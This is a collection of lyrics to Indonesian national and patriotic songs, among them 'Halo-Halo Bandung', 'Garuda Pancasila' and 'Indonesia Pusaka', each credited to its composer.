Bagimu Negeri / Padamu Negeri – Lirik Lagu Wajib Nasional

Pencipta Lirik dan Lagu : Kusbini

Padamu negeri kami berjanji
Padamu negeri kami berbakti
Padamu negeri kami mengabdi
Bagimu negeri jiwa raga kami

—

Pahlawan Tanpa Tanda Jasa – Lirik Lagu Wajib Nasional

Pencipta Lirik dan Lagu : Sartono

Terpujilah wahai engkau ibu bapak guru
Namamu akan selalu hidup dalam sanubariku
Semua baktimu akan kuukir di dalam hatiku
Sebagai prasasti terima kasihku
Tuk pengabdianmu

Engkau sabagai pelita dalam kegelapan
Engkau laksana embun penyejuk dalam kehausan
Engkau patriot pahlawan bangsa
Tanpa tanda jasa

Keterangan :
Pahlawan tanda jasa adalah sebutan bagi para guru.

—

Halo-Halo Bandung – Lagu Wajib Nasional Perjuangan Indonesia

Pencipta / Pengarang Lirik dan Lagu : Ismail Marzuki

Halo-halo Bandung
Ibukota periangan
Halo-halo Bandung
Kota kenang-kenangan
Sudah lama beta
Tidak berjumpa dengan kau
Sekarang telah menjadi lautan api
Mari bung rebut kembali

—

Garuda Pancasila – Lagu Wajib Nasional Perjuangan Indonesia

Pencipta / Pengarang Lirik dan Lagu : Sudharnoto

Garuda pancasila
Akulah pendukungmu
Patriot proklamasi
Sedia berkorban untukmu
Pancasila dasar negara
Rakyat adil makmur sentosa
Pribadi bangsaku
Ayo maju maju
Ayo maju maju
Ayo maju maju

—

Dari Sabang Sampai Merauke – Lagu Wajib Nasional Perjuangan Indonesia

Pencipta / Pengarang Lirik dan Lagu : R. Suharjo

Dari sabang sampai merauke
Menjajah pulau-pulau
Sambung memnyambung menjadi satu
Itulah Indonesia
Indonesia tanah airku
Aku berjanji padamu
Menjunjung tanah airku
Tanah airku Indonesia

—

Hari Merdeka / 17 Agustus 1945 ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : H. Mutahar

Tujuh belas agustus tahun empat lima
Itulah hari kemerdekaan kita
Hari merdeka nusa dan bangsa
Hari lahirnya bangsa Indonesia
Merdeka

Sekali merdeka tetap merdeka
Selama hayat masih di kandung badan
Kita tetap setia tetap setia
Mempertahankan Indonesia
Kita tetap setia tetap setia
Membela negara kita

—

Ibu Kita Kartini ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : W.R. Supratman

Ibu kita Kartini
Putri sejati
Putri Indonesia
Harum namanya

Ibu kita Kartini
Pendekar bangsa
Pendekar kaumnya
Untuk merdeka

Wahai ibu kita Kartini
Putri yang mulia
Sungguh besar cita-citanya
Bagi Indonesia

Ibu kita Kartini
Putri jauhari
Putri yang berjasa
Se Indonesia

Ibu kita Kartini
Putri yang suci
Putri yang merdeka
Cita-citanya

Wahai ibu kita Kartini
Putri yang mulia
Sungguh besar cita-citanya
Bagi Indonesia

Ibu kita Kartini
Pendekar bangsa
Pendeka kaum ibu
Se-Indonesia

Ibu kita Kartini
Penyuluh budi
Penyuluh bangsanya
Karena cintanya

Wahai ibu kita Kartini
Putri yang mulia
Sungguh besar cita-citanya
Bagi Indonesia

—

Syukur ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : H. Mutahar

Dari yakinku teguh
Hati ikhlasku penuh
Akan karuniamu
Tanah air pusaka
Indonesia merdeka
Syukur aku sembahkan
KehadiratMu Tuhan

Dari yakinku teguh
Cinta ikhlasku penuh
Akan jasa usaha
Pahlawanku yang baka
Indonesia merdeka
Syukur aku hanjukkan
Ke bawah duli tuan

Dari yakinku teguh
Bakti ikhlasku penuh
Akan azas rukunmu
Pandu bangsa yang nyata
Indonesia merdeka
Syukur aku hanjukkan
Kehadapanmu tuan

—

Indonesia Tetap Merdeka ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : C. Simanjuntak

Sorak-sorak berbembira bergembira semua
Sudah bebas negri kita Indonesia merdeka
Indonesia merdeka
Republik Indonesia
Itu lah hak milik kita untuk slama-lamanya

—

Indonesia Pusaka ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : Ismail Marzuki

Indonesia tanah air beta
Pusaka abadi nan jaya
Indonesia sejak dulu kala
Tetap di puja-puja bangsa

Reff :
Di sana tempat lahir beta
Dibuai dibesarkan bunda
Tempat berlindung di hari tua
Tempat akhir menutup mata

Sungguh indah tanah air beta
Tiada bandingnya di dunia
Karya indah Tuhan Maha Kuasa
Bagi bangsa yang memujanya

Reff :
Indonesia ibu pertiwi
Kau kupuja kau kukasihi
Tenagaku bahkan pun jiwaku
Kepadamu rela kuberi

—

Berkibarlah Benderaku ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : Ibu Sud

Berkibarlah benderaku
Lambang suci gagah perwira
Di seluruh pantai Indonesia
Kau tetap pujaan bangsa

Siapa berani menurunkan engkau
Serentak rakyatmu membela
Sang merah putih yang perwira
Berkibarlah Slama-lamanya

Kami rakyat Indonesia
Bersedia setiap masa
Mencurahkan segenap tenaga
Supaya kau tetap cemerlang

Tak goyang jiwaku menahan rintangan
Tak gentar rakyatmu berkorban
Sang merah putih yang perwira
Berkibarkah Slama-lamanya

—

Mengheningkan Cipta ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : T. Prawit

Dengan seluruh angkasa raya memuji
Pahlawan negara
Nan gugur remaja diribaan bendera
Bela nusa bangsa

Kau kukenang wahai bunga putra bangsa
Harga jasa
Kau Cahya pelita
Bagi Indonesia merdeka

—

Tanah Airku ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : Ibu Sud

Tanah airku tidak kulupakan
Kan terkenang selama hidupku
Biarpun saya pergi jauh
Tidak kan hilang dari kalbu
Tanah ku yang kucintai
Engkau kuhargai

Walaupun banyak negri kujalani
Yang masyhur permai dikata orang
Tetapi kampung dan rumahku
Di sanalah kurasa senang
Tanahku tak kulupakan
Engkau kubanggakan

—

Indonesia Bersatulah ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : A. Simanjuntak

Indonesia Indonesia marilah bersatulah
Jangan pikir macam
Bangsa rasa daerah hilanglah
Bersahabat bersaudara sama-sama bekerja
Indonesia Indonesia hidup hidup hiduplah

—

Gugur Bunga ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Pengarang / Pencipta Lagu : Ismail Marzuki

Betapa hatiku takkan pilu
Telah gugur pahlawanku
Betapa hatiku takkan sedih
Hamba ditinggal sendiri

Siapakah kini plipur lara
Nan setia dan perwira
Siapakah kini pahlawan hati
Pembela bangsa sejati

Reff :
Telah gugur pahlawanku
Tunai sudah janji bakti
Gugur satu tumbuh sribu
Tanah air jaya sakti

—

Bangun Pemudi Pemuda ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : A. Simanjuntak

Bangun pemudi pemuda Indonesia
Tangan bajumu singsingkan untuk negara
Masa yang akan datang kewajibanmu lah
Menjadi tanggunganmu terhadap nusa
Menjadi tanggunganmu terhadap nusa

Sudi tetap berusaha jujur dan ikhlas
Tak usah banyak bicara trus kerja keras
Hati teguh dan lurus pikir tetap jernih
Bertingkah laku halus hai putra negri
Bertingkah laku halus hai putra negri

—

Indonesia Tumpah Darahku ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : Ibu Sud

Di manakah sawah luas menghijau
Di manakah bukit biru menghimbau
Itu tanahku tumpah darahku
Tanah pusaka yang kaya raya
Harum namanya Indonesia

Di mana puput berbunyi merdu
Di bawah gunung lembah yang biru
Itu tanahku tumpah darahku
Tanah pusaka aman sentosa
Harum namanya Indonesia

Di mana nyiur melambai-lambai
Di mana padi masak mengurai
Itu tanahku tumpah darahku
Tanah pusaka bahagia mulya
Harum namanya Indonesia

—

Hymne Kemerdekaan ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan :
- Lirik : Ibu Sud
- Syair : S. Wiratmo S.

Terpujilah kau dewi kemerdekaan
Yang disujudi putra negara
Dikhikmatkan kau dengan nyanyian pujaan
Abadi mulia mulia raya

Terpujilah kau dewi sanjungan bangsa
Yang kami junjung yang kami sanjung
Dimuliakan kau seluruh Indonesia
Di pantai di lembah di lembah dan gunung

—

Merah Putih / Bendera Merah Putih ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : Ibu Sud

Berdera merah putih
Bendera tanah airku
Gagah dan jernih tampak warnamu
Berkibarlah di langit yang biru
Bendera merah putih
Bendera bangsaku

Berdera merah putih
Pelambang brani dan suci
Siap selalu kami berbakti
Untuk bangsa dan ibu pertiwi
Berdera merah putih
Trimalah salamku

—

Maju Tak Gentar ::: Lirik Lagu Wajib Nasional Musik Perjuangan / Patriotik Nasional Republik Indonesia

Karangan / Ciptaan : C. Simanjuntak

Maju tak gentar
Membela yang benar
Maju tak gentar
Hak kita diserang

Maju serentak
Mengusir penyerang
Maju serentak
Tentu kita kita menang

Reff :
Bergerak bergerak
Serentak menerkam
Menerjang terjang tak gentar

Tak gentar tak gentar
Menyerang menyerang
Majulah majulah menang

—

Rayuan Pulau Kelapa – Lirik Lagu Wajib Nasional

Pencipta dan Pengarang Lagu / Lirik : Ismail Marzuki

Tanah airku Indonesia
Negeri elok amat kucinta
Tanah tumpah darahku yang mulia
Yang kupuja sepanjang masa

Tanah airku aman dan makmur
Pulau kelapa yang amat subur
Pulau melati pujaan bangsa
Sejak dulu kala

Reff:

Melambai lambai
Nyiur di pantai
Berbisik bisik
Raja Kelana

Memuja pulau
Nan indah permai
Tanah Airku
Indonesia

—